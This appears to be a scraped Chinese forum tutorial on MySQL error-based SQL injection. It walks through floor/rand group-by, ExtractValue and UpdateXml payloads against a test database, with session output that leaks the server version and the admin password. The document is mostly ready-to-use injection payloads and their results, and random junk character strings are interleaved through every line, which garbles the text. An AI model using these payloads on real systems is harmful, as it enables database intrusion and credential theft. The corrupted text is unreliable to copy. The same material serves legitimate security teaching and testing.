+ _ Z6 T9 d: g8 cmysql> show tables; * ? l2 p0 L i* k/ C' @+----------------+ ' u) A4 c' \. I, b| Tables_in_test | 8 j1 D. @& G3 C2 \( N: S+----------------+3 @' w7 s, ]; u% }
| admin | # k" n# o) b+ ]+ N; K& o9 D| article |" ~0 c" E. F2 b8 ^+ ?8 Z+ }# a
+----------------+! m- Y) z% ?" ?6 c/ k
, T# l' X( n- Z
, n4 a' X9 U6 R& S- [* X" C c7 b
$ ^9 N( y) T, e& J% u! l1 y* K' x; G
mysql> describe admin; 3 a* q- G: w, K: ~9 D; s+-------+------------------+------+-----+---------+----------------+ 8 W# F: X, b3 o- o/ T9 M0 N9 v| Field | Type | Null | Key | Default | Extra |8 I$ p6 H \+ O( d8 c
+-------+------------------+------+-----+---------+----------------+ 5 m: f( F$ L) A) z3 e& \| id | int(10) unsigned | NO | PRI | NULL | auto_increment |* ?. ^ ?7 U4 B2 R( s
| user | varchar(50) | NO | | NULL | | - b) g$ c9 L5 c1 w) ]. t% ]% ?- `| pass | varchar(50) | NO | | NULL | |: @1 N9 F/ J, Z! F; B+ `
+-------+------------------+------+-----+---------+----------------+: j' L, H+ W$ m( P) K
7 d; T# A+ U2 @; D1 g! U
0 l- ?7 `$ G i+ B5 Z7 j; u / M8 {" ]5 t3 T$ Wmysql> describe article; 7 d7 z- u9 H, a+---------+------------------+------+-----+---------+----------------+# N- ^. _9 L" v# [ @$ u9 u, _2 l2 p
| Field | Type | Null | Key | Default | Extra |) [8 t% C# @( U" r
+---------+------------------+------+-----+---------+----------------++ O" l4 c/ v" c1 q- H
| id | int(10) unsigned | NO | PRI | NULL | auto_increment | * G n" f. f/ l; ~' d$ E| title | varchar(50) | NO | | NULL | | % k3 |6 [' q f/ m5 t| content | varchar(50) | NO | | NULL | |. w/ e+ v6 k! v: Y, X; n; |. Y
+---------+------------------+------+-----+---------+----------------+7 V0 z( {' `5 l& R) h
1、通过floor报错 w/ f- s: G3 `8 u$ c可以通过如下一些利用代码 5 B1 l" b9 o2 R2 B- U . J8 o2 d% P/ L- Z) q1 a! ` : a n6 ?; y7 ]7 K4 A4 ]5 ~
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x. n$ T: f3 Y" _0 z3 H, Y
from information_schema.tables group by x)a);- v6 t g' O/ e% W1 f- o
% b, Q: u( g& H/ R4 C) q/ d
( [3 [4 P) c6 K1 T* I) \and (select count(*) from (select 1 union select null union select !1)x+ R5 l4 Y" d( { n( p" x! s( C
group by concat((select table_name from information_schema.tables limit 1),. a: D6 {9 b0 \/ p# {# x
floor(rand(0)*2))); 5 g8 Y* D6 B+ J5 Z% s举例如下： & f$ D+ s E# f) _( e9 g首先进行正常查询：" Q# N* z0 y# u. o3 e; ]2 a
2 V( F& j7 x* i: J9 ?mysql> select * from article where id = 1; 9 f) N8 u; C3 Y+----+-------+---------+ ) l8 U6 I" ]/ ~; L: N| id | title | content | ' {& n0 w8 d: B+----+-------+---------+" r* z- W' e) i& G* C# S( O
| 1 | test | do it |1 K3 {# E O2 F3 B0 m/ U
+----+-------+---------+8 B; O1 W0 ~7 h3 n8 u
假如id输入存在注入的话，可以通过如下语句进行报错。 - T) E; w) d v9 L& f; s ) D |2 _, |* r
4 y. `2 p: c- I0 C& G
mysql> select * from article where id = 1 and (select 1 from ! t& n4 z$ ~, o+ ](select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); 4 x' c% \, r" ~! |! ^" `ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key' ) Q; X+ _5 f. w: H可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。% b6 @7 p X( Z. T
例如我们需要查询管理员用户名和密码：" P5 U+ H6 @5 W
Method1: ) E8 |1 F' P( I& V& I& O! s 4 X( R& L W) r6 ]9 t$ B 7 X' F: P/ Z2 D7 V
mysql> select * from article where id = 1 and (select 1 from 2 x; y0 Y. a! M% V) N(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x 3 B7 \# J% V+ q! u3 Ofrom information_schema.tables group by x)a);) l y5 ]: n, J) q' j! v2 P; q
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'* c; B9 R ?/ L! s
Method2:0 @% F5 O& S$ K
i9 ?# x' h, i6 W: _8 Y
3 T! t! E l" Kmysql> select * from article where id = 1 and (select count(*)3 Z, o a7 j0 Y$ U5 V" z7 H; G( b" S$ D
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),0 H7 D$ z! J4 G; s q+ e8 x
floor(rand(0)*2)));! O, c+ r5 K: \! I1 w4 j6 ~" _
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key' 4 r6 ~8 C+ |9 ?2、ExtractValue ! C1 V+ F" C' l+ X7 F8 P测试语句如下 * p* {. U5 T5 j; I8 u i , a7 r7 u% T K& X: E/ w$ m
2 ?3 `1 `. D6 ^% h! ^
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));/ R }! p( |4 V$ ^6 x+ K$ N' N
实际测试过程 2 I/ k0 B( r/ v9 M 3 \8 a7 R$ h- F% V8 N7 ] % R+ }* a$ R0 r& q7 e. }0 Z% b& emysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,# b$ V) x- d7 L: ` H, X
(select pass from admin limit 1)));-- ; H5 ]' P/ B$ {9 F$ M- rERROR 1105 (HY000): XPATH syntax error: '\admin888'. I8 W! p r% x1 {" R* C: o
3、UpdateXml 1 _- a5 I9 t" Z$ u9 f ^( Q测试语句 . v* u A# b7 A" @$ Z - m3 ^! J$ h& y# i& X+ g 0 I3 v6 L, Q) ]( ]2 W. band 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))" H8 d' z* o1 j
实际测试过程& v' l. w. G- D% w, `2 C
" A& H- T! P) ]( r! V
S5 {) k ?6 o) ]/ N
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24, $ {9 b' x8 d0 c(select pass from admin limit 1),0x5e24),1));; l9 F6 ]5 S9 N9 S8 w' F( H
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$' " z [1 g: g9 mAll, thanks foreign guys. 2 W! P. C* Y1 \7 D/ N+ J' _+ p 5 S( b, s1 D$ ~9 n+ Y/ @
* J: k6 w `& k& R( {' N